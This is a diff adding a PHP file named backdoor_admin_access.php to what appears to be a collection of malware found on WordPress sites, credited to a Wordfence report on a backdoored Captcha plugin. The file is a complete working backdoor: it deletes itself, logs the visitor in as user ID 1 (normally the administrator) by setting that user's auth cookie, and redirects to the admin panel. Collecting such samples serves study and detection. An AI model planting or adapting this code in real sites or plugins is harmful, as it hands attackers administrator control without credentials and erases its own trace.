Create backdoor_admin_access.php

This script got from https://www.wordfence.com/blog/2017/12/backdoor-captcha-plugin/ enable to access as admin and remove itself.

Author: Mte90

found_on_wordpress/backdoor_admin_access.php

@@ -0,0 +1,20 @@
+@unlink(__FILE__);
+
+require('../../../wp-blog-header.php');
+require('../../../wp-includes/pluggable.php');
+$user_info = get_userdata(1);
+// Automatic login //
+$username = $user_info->user_login;
+$user = get_user_by('login', $username );
+// Redirect URL //
+if ( !is_wp_error( $user ) )
+{
+    wp_clear_auth_cookie();
+    wp_set_current_user ( $user->ID );
+    wp_set_auth_cookie  ( $user->ID );
+
+    $redirect_to = user_admin_url();
+    wp_safe_redirect( $redirect_to );
+
+    exit();
+}